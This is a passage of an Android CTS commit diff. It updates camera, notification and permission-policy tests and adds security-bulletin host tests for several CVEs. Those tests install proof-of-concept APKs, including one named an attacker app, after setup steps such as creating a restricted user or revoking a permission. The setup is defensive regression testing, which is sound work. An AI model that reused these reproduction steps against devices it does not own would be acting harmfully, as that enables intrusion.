diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-09-12 16:55:35 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-09-12 16:55:35 +0000 |
commit | c7eb56a57499675e067d8ff9f4b80590858fcb04 (patch) | |
tree | cc0d736b1558e7471c41a90803d984b69bff2315 | |
parent | d312be3c9830554eec770a9c32d5a1ab9f608582 (diff) | |
parent | afdd820a2dfc46a2b53ecd49ea263994d37547b5 (diff) | |
download | cts-android13-mainline-appsearch-release.tar.gz |
Snap for 9052600 from afdd820a2dfc46a2b53ecd49ea263994d37547b5 to mainline-appsearch-releaseaml_ase_331311020aml_ase_331112000android13-mainline-appsearch-release
Change-Id: Ia914feba46020acb462d0e7a595c1297da7fc4c6
113 files changed, 3378 insertions, 1286 deletions
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py index c00cd5c358c..9111e80879a 100644 --- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py +++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py @@ -184,8 +184,7 @@ class AutoFlashTest(its_base_test.ItsBaseTest): logging.debug('AE_STATE (cap): %s', ae_state) flash_state = FLASH_STATES[metadata['android.flash.state']] logging.debug('FLASH_STATE: %s', flash_state) - # FLASH_REQUIRED and FLASH_FIRED - if ae_state == 'FLASH_REQUIRED' and flash_state == 'FLASH_STATE_FIRED': + if flash_state == 'FLASH_STATE_FIRED': logging.debug('Flash fired') flash_fired = True flash_exp_x_iso = exp*iso diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py index c1f4dff1d6d..32b9927cc1c 100644 --- a/apps/CameraITS/tests/scene6/test_zoom.py +++ b/apps/CameraITS/tests/scene6/test_zoom.py @@ -234,8 +234,10 @@ class ZoomTest(its_base_test.ItsBaseTest): test_tols, size = get_test_tols_and_cap_size( cam, props, self.chart_distance, debug) else: - fl = props['android.lens.info.availableFocalLengths'][0] - test_tols = {fl: (RADIUS_RTOL, OFFSET_RTOL)} + test_tols = {} + fls = props['android.lens.info.availableFocalLengths'] + for fl in fls: + test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL) yuv_size = capture_request_utils.get_largest_yuv_format(props) size = [yuv_size['width'], yuv_size['height']] logging.debug('capture size: %s', str(size)) diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java index 106bd0b2ab6..1ac6b0f67e8 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java @@ -2133,7 +2133,7 @@ public class ItsService extends Service implements SensorEventListener { int fileFormat = MediaRecorder.OutputFormat.DEFAULT; String outputFilePath = getOutputMediaFile(cameraDeviceId, videoSize, - /* quality= */"preview", fileFormat, /* stabilized= */ true); + /* quality= */"preview", fileFormat, stabilize); assert outputFilePath != null; mMediaRecorder = new MediaRecorder(this); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java index d22f0265abb..80aab50a28b 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java @@ -93,6 +93,7 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity { private int mCurrentTestIndex = -1; // gets incremented first time private int mStepFailureCount = 0; private boolean mShowingSummary = false; + private boolean mSupportsBubble = false; private Handler mHandler = new Handler(); private Runnable mRunnable; @@ -150,11 +151,18 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity { }); ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); + + try { + mSupportsBubble = getResources().getBoolean(getResources().getIdentifier( + "config_supportsBubble", "bool", "android")); + } catch (Resources.NotFoundException e) { + // Assume device does not support bubble, no need to do anything. + } + if (am.isLowRamDevice()) { // Bubbles don't occur on low ram, instead they just show as notifs so test that mTests.add(new LowRamBubbleTest()); - } else if (!Resources.getSystem() - .getBoolean(com.android.internal.R.bool.config_supportsBubble)) { + } else if (!mSupportsBubble) { // Bubbles don't occur on bubble disabled devices, only test notifications. mTests.add(new BubbleDisabledTest()); } else { diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS index 55fc0778dca..c7a387cf9ea 100644 --- a/common/device-side/util-axt/OWNERS +++ b/common/device-side/util-axt/OWNERS @@ -1,2 +1,2 @@ -per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com +per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java index 41a38d4f18d..f8b24fdd4d9 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java @@ -18,6 +18,9 @@ package com.android.compatibility.common.util; import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS; +import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.FIXED; +import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.NOT_FIXED; +import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.SUPER_FIXED; import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity; import static org.junit.Assert.fail; @@ -150,14 +153,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic * @param permissions the set of permissions, formatted "permission_name fixed_boolean" */ public void setException(String pkg, String sha256, String... permissions) { - HashMap<String, Boolean> permissionsMap = new HashMap<>(); + HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>(); for (String permissionString : permissions) { String[] parts = permissionString.trim().split("\\s+"); if (parts.length != 2) { Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString); return; } - permissionsMap.put(parts[0], Boolean.valueOf(parts[1])); + permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED); } mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap)); } @@ -174,14 +177,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic */ public void setExceptionWithMetadata(String company, String metadata, String pkg, String sha256, String... permissions) { - HashMap<String, Boolean> permissionsMap = new HashMap<>(); + HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>(); for (String permissionString : permissions) { String[] parts = permissionString.trim().split("\\s+"); if (parts.length != 2) { Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString); return; } - permissionsMap.put(parts[0], Boolean.valueOf(parts[1])); + permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED); } mRemoteExceptions.add(new DefaultPermissionGrantException( company, metadata, pkg, sha256, permissionsMap)); @@ -378,9 +381,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions); - for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) { + for (Map.Entry<String, UidState.FixedState> entry : exception.permissions.entrySet()) { String permission = entry.getKey(); - Boolean fixed = entry.getValue(); + UidState.FixedState fixed = entry.getValue(); if (!requestedPermissions.contains(permission)) { Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName); continue; @@ -512,8 +515,8 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } appendPackagePregrantedPerms(pkg, "split from non-dangerous permission " - + permission, false, Collections.singleton(extendedPerm), - outUidStates); + + permission, NOT_FIXED, + Collections.singleton(extendedPerm), outUidStates); } } } @@ -544,7 +547,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } appendPackagePregrantedPerms(pkg, "permission " + permissionToAdd - + " is granted to pre-" + targetSdk + " apps", false, + + " is granted to pre-" + targetSdk + " apps", NOT_FIXED, Collections.singleton(permissionToAdd), outUidStates); } } @@ -553,6 +556,13 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason, boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) { + appendPackagePregrantedPerms(packageInfo, reason, fixed ? FIXED : NOT_FIXED, + pregrantedPerms, outUidStates); + } + + public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason, + UidState.FixedState fixed, Set<String> pregrantedPerms, + SparseArray<UidState> outUidStates) { final int uid = packageInfo.applicationInfo.uid; UidState uidState = outUidStates.get(uid); if (uidState == null) { @@ -621,8 +631,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic setPermissionGrantState(packageInfo.packageName, permission, false); + UidState.FixedState fixedState = uidState.grantedPermissions.valueAt(i); Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName) - || uidState.grantedPermissions.valueAt(i); + || fixedState == SUPER_FIXED || fixedState == FIXED; // Weaker grant is fine, e.g. not-fixed instead of fixed. if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName) @@ -702,9 +713,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic public class GrantReason { public final String reason; public final boolean override; - public final Boolean fixed; + public final FixedState fixed; - GrantReason(String reason, boolean override, Boolean fixed) { + GrantReason(String reason, boolean override, FixedState fixed) { this.reason = reason; this.override = override; this.fixed = fixed; @@ -726,10 +737,34 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } } + /** + * Enum representing if a permission's pregrant condition should be fixed and how it should + * interact with other pregrant conditions' fixed status. + */ + public enum FixedState { + + /** + * Permission is fixed and when merging with other pregrant conditions it won't lose + * fixed status and will override non-fixed status. + */ + SUPER_FIXED, + + /** + * Permission is fixed and when merging with other pregrant conditions it may lose + * fixed status. + */ + FIXED, + + /** + * Permission is not fixed. + */ + NOT_FIXED + } + // packageName -> permission -> [reason] public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons = new ArrayMap<>(); - public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>(); + public ArrayMap<String, FixedState> grantedPermissions = new ArrayMap<>(); public void log() { for (String packageName : mGrantReasons.keySet()) { @@ -781,7 +816,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } public void addGrantedPermission(String packageName, String reason, String permission, - Boolean fixed) { + FixedState fixed) { Context context = getInstrumentation().getTargetContext(); // Add permissions split off from the permission to granted @@ -800,12 +835,12 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } public void overrideGrantedPermission(String packageName, String reason, String permission, - Boolean fixed) { + FixedState fixed) { mergeGrantedPermission(packageName, reason, permission, fixed, true); } public void mergeGrantedPermission(String packageName, String reason, String permission, - Boolean fixed, boolean override) { + FixedState fixed, boolean override) { if (!mGrantReasons.containsKey(packageName)) { mGrantReasons.put(packageName, new ArrayMap<>()); } @@ -817,18 +852,22 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override, fixed)); - Boolean oldFixed = grantedPermissions.get(permission); + FixedState oldFixed = grantedPermissions.get(permission); if (oldFixed == null) { grantedPermissions.put(permission, fixed); } else { - if (override) { - if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) { + if (oldFixed != SUPER_FIXED && fixed == SUPER_FIXED) { + Log.w(LOG_TAG, "override already granted permission " + permission + "(" + + fixed + ") for " + packageName); + grantedPermissions.put(permission, fixed); + } else if (override) { + if (oldFixed == NOT_FIXED && fixed == FIXED) { Log.w(LOG_TAG, "override already granted permission " + permission + "(" + fixed + ") for " + packageName); grantedPermissions.put(permission, fixed); } } else { - if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) { + if (oldFixed == FIXED && fixed == NOT_FIXED) { Log.w(LOG_TAG, "add already granted permission " + permission + "(" + fixed + ") to " + packageName); grantedPermissions.put(permission, fixed); @@ -846,20 +885,20 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic public String pkg; public String sha256; public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash - public Map<String, Boolean> permissions = new HashMap<>(); + public Map<String, UidState.FixedState> permissions = new HashMap<>(); public boolean hasNonBrandSha256() { return !sha256.isEmpty() && !hasBrand; } public DefaultPermissionGrantException(String pkg, String sha256, - Map<String, Boolean> permissions) { + Map<String, UidState.FixedState> permissions) { this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions); } public DefaultPermissionGrantException(String company, String metadata, String pkg, String sha256, - Map<String, Boolean> permissions) { + Map<String, UidState.FixedState> permissions) { this.company = company; this.metadata = metadata; this.pkg = pkg; diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS index b61fd53957d..aa5c93ef36a 100644 --- a/common/device-side/util/OWNERS +++ b/common/device-side/util/OWNERS @@ -1,2 +1,2 @@ -per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com +per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java index fd0b4450868..da41f95ef30 100644 --- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java +++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java @@ -230,8 +230,16 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { "Landroid/os/BlockUntrustedTouchesMode;", "Landroid/os/IInputConstants;", "Landroid/os/InputEventInjectionResult;", - "Landroid/os/InputEventInjectionSync;" - + "Landroid/os/InputEventInjectionSync;", + // TODO(b/242741880): Remove duplication between sdksandbox-service and + // sdk-sandbox-framework + "Landroid/app/sdksandbox/ILoadSdkCallback;", + "Landroid/app/sdksandbox/IRequestSurfacePackageCallback;", + "Landroid/app/sdksandbox/ISdkSandboxManager;", + "Landroid/app/sdksandbox/ISdkSandboxProcessDeathCallback;", + "Landroid/app/sdksandbox/ISendDataCallback;", + "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;", + "Landroid/app/sdksandbox/ISdkToServiceCallback;" ); private static final String FEATURE_WEARABLE = "android.hardware.type.watch"; @@ -725,9 +733,15 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { private static final ImmutableSet<String> ADSERVICES_SANDBOX_APK_IN_APEX_BURNDOWN_LIST = ImmutableSet.of( // /apex/com.android.adservices/javalib/service-sdksandbox.jar + "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;", + "Lcom/android/sdksandbox/IDataReceivedCallback;", + "Lcom/android/sdksandbox/ILoadSdkInSandboxCallback;", + "Lcom/android/sdksandbox/IRequestSurfacePackageFromSdkCallback;", "Lcom/android/sdksandbox/ISdkSandboxManagerToSdkSandboxCallback;", "Lcom/android/sdksandbox/ISdkSandboxService;", - "Lcom/android/sdksandbox/ISdkSandboxToSdkSandboxManagerCallback;" + "Lcom/android/sdksandbox/SandboxLatencyInfo-IA;", + "Lcom/android/sdksandbox/SandboxLatencyInfo;", + "Lcom/android/sdksandbox/IUnloadSdkCallback;" ); private static final ImmutableMap<String, ImmutableSet<String>> FULL_APK_IN_APEX_BURNDOWN = @@ -1043,7 +1057,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * and shared library jars. */ @Test - public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies() { + public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies() + throws Exception { + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastT()); // WARNING: Do not add more exceptions here, no androidx should be in bootclasspath. // See go/androidx-api-guidelines#module-naming for more details. final ImmutableMap<String, ImmutableSet<String>> @@ -1087,11 +1103,12 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { .reduce(Stream::concat).orElseGet(Stream::empty) .parallel() .filter(jarPath -> { - return sJarsToFiles - .get(jarPath) - .stream() - .anyMatch(file -> file.contains(".kotlin_builtins") - || file.contains(".kotlin_module")); + // Exclude shared library apks. + return jarPath.endsWith(".jar") + && sJarsToFiles.get(jarPath) + .stream() + .anyMatch(file -> file.contains(".kotlin_builtins") + || file.contains(".kotlin_module")); }) .collect(ImmutableList.toImmutableList()); assertThat(kotlinFiles).isEmpty(); @@ -1102,7 +1119,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * included in BOOTCLASSPATH, SYSTEMSERVERCLASSPATH and shared library jars */ @Test - public void testNoProtobufClassesWithoutJarjar() { + public void testNoProtobufClassesWithoutJarjar() throws Exception { + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastU()); assertWithMessage("Classes from protobuf libraries must not be included in bootclasspath " + "and systemserverclasspath without being jarjared.") .that(Stream.of(sBootclasspathJars.stream(), diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS index 88c9013b591..8e0766f968e 100644 --- a/hostsidetests/edi/OWNERS +++ b/hostsidetests/edi/OWNERS @@ -1,8 +1,5 @@ # Bug component: 47509 -aaronholden@google.com -agathaman@google.com -nickrose@google.com -samlin@google.com - +anwenxu@google.com +sehajgrover@google.com # For cleanups and bug fixes satayev@google.com #{LAST_RESORT_SUGGESTION} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java new file mode 100644 index 00000000000..0723e538724 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java @@ -0,0 +1,66 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.hamcrest.CoreMatchers.containsString; +import static org.junit.Assert.assertThat; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.targetprep.TargetSetupError; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public final class Bug_237291548 extends NonRootSecurityTestCase { + + private static final String TEST_PKG = "android.security.cts.BUG_237291548"; + private static final String TEST_CLASS = TEST_PKG + ".DeviceTest"; + private static final String TEST_APP = "BUG-237291548.apk"; + private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk"; + + @Before + public void setUp() throws Exception { + super.setUp(); + uninstallPackage(getDevice(), TEST_PKG); + } + + @Test + @AsbSecurityTest(cveBugId = 237291548) + public void testRunDeviceTestsPassesFull() throws Exception { + installPackage(TEST_APP); + + runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit"); + runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit"); + } + + @Test(expected = TargetSetupError.class) + @AsbSecurityTest(cveBugId = 237291548) + public void testInvalidApkFails() throws Exception { + try { + installPackage(TEST_FAIL_INSTALL_APP); + } catch (TargetSetupError e) { + assertThat(e.getMessage(), + containsString("Max limit on number of MIME Groups reached")); + throw e; + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java new file mode 100644 index 00000000000..b3b0f90dce1 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java @@ -0,0 +1,51 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0441 extends StsExtraBusinessLogicHostTestBase { + static final String TEST_PKG = "android.security.cts.CVE_2021_0441"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + static final String TEST_APP = "CVE-2021-0441.apk"; + + /** + * b/174495520 + */ + @AsbSecurityTest(cveBugId = 174495520) + @Test + public void testPocCVE_2021_0441() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java new file mode 100644 index 00000000000..af72d3b81de --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39704 extends StsExtraBusinessLogicHostTestBase { + + @AsbSecurityTest(cveBugId = 209965481) + @Test + public void testPocCVE_2021_39704() { + try { + final String testPkg = "android.security.cts.CVE_2021_39704"; + + ITestDevice device = getDevice(); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39704.apk"); + AdbUtils.runCommandLine( + "pm revoke " + "android.security.cts.CVE_2021_39704 " + + "android.permission.ACCESS_COARSE_LOCATION", + device); + + runDeviceTests(testPkg, testPkg + "." + "DeviceTest", + "testdeleteNotificationChannelGroup"); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java new file mode 100644 index 00000000000..2e61b7064a2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java @@ -0,0 +1,74 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39707 extends StsExtraBusinessLogicHostTestBase { + + @AsbSecurityTest(cveBugId = 200688991) + @Test + public void testPocCVE_2021_39707() { + ITestDevice device = getDevice(); + final String testPkg = "android.security.cts.CVE_2021_39707"; + int userId = -1; + try { + // Wake up the screen + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + // Create restricted user + String commandOutput = AdbUtils.runCommandLine( + "pm create-user --restricted CVE_2021_39707_RestrictedUser", device); + + // Extract user id of the restricted user + String[] tokens = commandOutput.split("\\s+"); + assumeTrue(tokens.length > 0); + assumeTrue(tokens[0].equals("Success:")); + userId = Integer.parseInt(tokens[tokens.length - 1]); + + // Install PoC application + installPackage("CVE-2021-39707.apk"); + runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment"); + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + // Back to home screen after test + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + if (userId != -1) { + // Remove restricted user + AdbUtils.runCommandLine("pm remove-user " + userId, device); + } + } catch (Exception e) { + // ignore all exceptions + } + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java new file mode 100644 index 00000000000..a55229abe45 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java @@ -0,0 +1,51 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39808 extends StsExtraBusinessLogicHostTestBase { + + @AsbSecurityTest(cveBugId = 209966086) + @Test + public void testPocCVE_2021_39808() { + try { + final String testPkg = "android.security.cts.CVE_2021_39808"; + + ITestDevice device = getDevice(); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39808.apk"); + runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService"); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java index 47ea7ca8a47..55e6dca25fc 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java @@ -37,10 +37,12 @@ public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase { final String testClass = testPkg + "." + "DeviceTest"; final String testApp = "CVE-2022-20007.apk"; final String testAttackerApp = "CVE-2022-20007-Attacker.apk"; + final String testSecondApp = "CVE-2022-20007-Second.apk"; ITestDevice device = getDevice(); try { installPackage(testApp); installPackage(testAttackerApp); + installPackage(testSecondApp); AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java new file mode 100644 index 00000000000..ebfed1a4523 --- /dev/null +++ 